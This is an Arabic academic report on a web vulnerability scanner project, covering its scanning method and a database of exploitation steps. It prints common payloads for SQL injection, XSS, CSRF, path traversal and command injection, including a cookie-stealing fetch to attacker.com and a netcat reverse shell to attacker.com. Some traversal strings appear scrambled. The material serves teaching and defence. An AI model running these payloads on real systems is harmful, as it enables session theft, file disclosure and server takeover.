

تقرير مشروع VulnScanner Pro: ماسح الثغرات الأمني

1. المقدمة

يهدف هذا التقرير إلى تقديم مشروع VulnScanner Pro، وهو ماسح ثغرات أمني أكاديمي مصمم لاكتشاف نقاط الضعف الشائعة في تطبيقات الويب. يركز المشروع على توفير رؤية شاملة للوضع الأمني للمواقع المستهدفة، مع التركيز بشكل خاص على توضيح طرق استغلال الثغرات المكتشفة بأسلوب موجز ومباشر، بما يخدم الأغراض التعليمية والأكاديمية.

تم تطوير VulnScanner Pro ليكون أداة دفاعية تساعد في تحديد وتحليل الثغرات المحتملة، مما يمكن المطورين والباحثين من فهم كيفية عمل هذه الثغرات وكيفية تأمين تطبيقاتهم ضدها. يعتمد الماسح على مجموعة من التقنيات لجمع المعلومات وتحليل الاستجابات، ويقدم تقارير مفصلة تتضمن ملخصًا للنتائج، نقاط القوة، والملاحظات المكتشفة، بالإضافة إلى خطوات المعالجة الموصى بها.

2. منهجية العمل

يعمل VulnScanner Pro وفق منهجية متعددة المراحل لضمان تغطية واسعة لعملية الفحص:

1. **جمع المعلومات الأولية (Reconnaissance):** يتم جمع معلومات أساسية عن الهدف مثل عناوين IP، المنافذ المفتوحة، والمسارات المعروفة (مثل robots.txt و sitemap.xml).

2. **فحص البنية التحتية (Infrastructure Scan):** تحليل إعدادات TLS/SSL، الترويسات الأمنية (Security Headers)، وسلوك إعادة التوجيه (HTTP to HTTPS).

3. **الزحف العميق واكتشاف المسارات (Deep Crawl & Path Discovery):** يقوم الماسح بالزحف داخل الموقع لاكتشاف الروابط الداخلية، ملفات JavaScript، ونقاط النهاية (endpoints) المحتملة، بالإضافة إلى محاولة اكتشاف المسارات الإدارية أو الحساسة.

4. **الكشف عن الثغرات الديناميكية (Dynamic Vulnerability Detection):** هذه المرحلة هي جوهر التطوير الأخير، حيث تم إضافة قدرات للكشف عن مؤشرات الثغرات الشائعة مثل SQL Injection، Cross-Site Request Forgery (CSRF)، Cross-Site Scripting (XSS)، Path Traversal، وغيرها، من خلال تحليل محتوى الصفحات وترويسات الاستجابة.

5. **دمج أدوات خارجية (External Tool Integration):** يدعم الماسح دمج أدوات فحص خارجية مثل Nuclei لزيادة عمق الفحص واكتشاف أنماط ثغرات أوسع.

6. **توليد التقارير (Report Generation):** يتم تجميع جميع النتائج في تقرير شامل بصيغة JSON، ثم يتم عرضه في واجهة HTML تفاعلية، مع إمكانية تصديره كملف PDF.

3. قاعدة بيانات الثغرات وطرق الاستغلال

تم إنشاء قاعدة بيانات مخصصة للثغرات (vulnerabilities_db.py) تحتوي على معلومات مفصلة لكل ثغرة، بما في ذلك وصفها، خطورتها، فئة OWASP التي تنتمي إليها، والأهم من ذلك، **طرق استغلالها المختصرة (Exploitation Steps)** و **أمثلة على ال Payload**. تهدف هذه القاعدة إلى توفير مرجع سريع وواضح للطلاب والباحثين لفهم كيفية استغلال الثغرات عمليًا.

كل إدخال في قاعدة البيانات يتضمن الحقول التالية:

- title : اسم الثغرة.
- description : وصف موجز للثغرة.
- severity : مستوى الخطورة (Critical, High, Medium, Low).
- owasp : فئة OWASP Top 10 ذات الصلة.
- exploitation : قاموس يحتوي على:
 - method : طريقة الاستغلال (GET, POST, Form Submission).
 - payload : مثال على ال payload المستخدم في الاستغلال.
 - steps : قائمة بخطوات الاستغلال العملية والمختصرة.
 - impact : الأثر المحتمل للثغرة.

أمثلة من قاعدة البيانات:

3.1 SQL Injection

الوصف: إمكانية حقن أوامر SQL عبر حقول الإدخال لتغيير سلوك الاستعلام الأصلي.

طرق الاستغلال:

1. حدد حقل الإدخال (مثل username أو search).
2. أدخل: ' OR '1'='1 ' أو ' OR 1=1 -- .
3. إذا ظهرت نتائج غير متوقعة (مثل عرض جميع البيانات)، فهذا يعني أن الثغرة قابلة للاستغلال.

4. استخدم UNION SELECT لاستخراج البيانات من جداول أخرى.

Payload مثال: OR '1'='1 '

الأثر: الوصول الكامل لقاعدة البيانات، سرقة بيانات حساسة، حذف جداول.

3.2. Cross-Site Scripting (XSS)

الوصف: حقن أكواد JavaScript خبيثة في صفحات الويب التي يراها المستخدمون الآخرون.

طرق الاستغلال:

1. ابحث عن حقل يعرض المدخلات مباشرة (مثل حقل البحث، التعليقات، أو ملفات التعريف).
2. أدخل: `<img src=x onerror=alert('XSS')>`.
3. إذا ظهرت نافذة alert ، فهذا يعني أن الثغرة قابلة للاستغلال.
4. استخدم: `<script>fetch('attacker.com?c='+document.cookie)</script>` لسرقة الكوكيز.

Payload مثال: `<script>alert('XSS')</script>`

الأثر: سرقة الكوكيز، جلسات المستخدمين، بيانات حساسة، إعادة توجيه المستخدمين.

3.3. Cross-Site Request Forgery (CSRF)

الوصف: إجبار المتصفح على تنفيذ طلبات غير مصرح بها على موقع ويب قام المستخدم بتسجيل الدخول إليه.

طرق الاستغلال:

1. أنشئ صفحة HTML تحتوي على نموذج (form) مخفي أو صورة (image) ذات src يشير إلى عملية حساسة.
2. ضع action النموذج أو src الصورة ليكون عنوان URL للعملية الحساسة (مثل تحويل الأموال، حذف حساب).
3. اجعل المستخدم المستهدف يزور الصفحة الخبيثة.
4. سيتم تنفيذ العملية الحساسة تلقائيًا دون علم المستخدم أو موافقته الصريحة.

Payload مثال: `img src='https://target.com/transfer?<amount=1000&to=attacker'`

الأثر: تحويل أموال، حذف حسابات، تغيير كلمات المرور، تنفيذ أي عملية مصرح بها للمستخدم.

3.4 Path Traversal / Directory Traversal

الوصف: الوصول إلى ملفات ومجلدات خارج الدليل المسموح به على الخادم.

طرق الاستغلال:

1. ابحث عن معامل (parameter) في URL يقبل أسماء ملفات (مثل file , download , view).
2. جرب إدخال: `etc/passwd/../../../../..` لقراءة ملف كلمات المرور في أنظمة Linux.
3. جرب أساليب تجاوز (bypass) مثل: `etc/passwd//.....//.....//.....`.
4. جرب الترميز الخاص بـ `URL: %2e%2e%2f`.

Payload مثال: `etc/passwd/../../../../..`

الأثر: قراءة ملفات النظام الحساسة، ملفات التكوين، كلمات المرور، مفاتيح API.

3.5 Remote Code Execution (RCE)

الوصف: تنفيذ أوامر عشوائية على الخادم المستهدف.

طرق الاستغلال:

1. ابحث عن حقل إدخال يقبل مدخلات يتم تنفيذها على الخادم (مثل أوامر `ping` , `exec` , `eval`).
2. أدخل: `whoami` لمعرفة المستخدم الذي يعمل به الخادم.
3. أدخل: `cat /etc/passwd` | لقراءة ملف كلمات المرور.
4. للحصول على Reverse Shell: `&& nc attacker.com 4444 -e /bin/sh`.

Payload مثال: `ls -la` ;

الأثر: السيطرة الكاملة على الخادم، تثبيت برمجيات خبيثة، سرقة جميع البيانات.

4. الخلاصة

يمثل مشروع VulnScanner Pro خطوة مهمة في فهم وتطبيق مبادئ الأمن السيبراني. من خلال دمج تقنيات الفحص المتقدمة وقاعدة بيانات شاملة لطرق الاستغلال، يوفر المشروع أداة تعليمية قوية تساعد في سد الفجوة بين النظرية والتطبيق في مجال أمن تطبيقات الويب. إن التركيز على “الزبدة” وتقديم خطوات استغلال واضحة ومختصرة يجعل هذا الماسح موردًا قيمًا للطلاب والباحثين الذين يسعون لتعميق فهمهم للثغرات الأمنية وكيفية الحماية منها.

5. المراجع

- [OWASP Top 10 - 2021](#)
- [PortSwigger Web Security Academy](#)
- [Nuclei - Fast and customizable vulnerability scanner](#)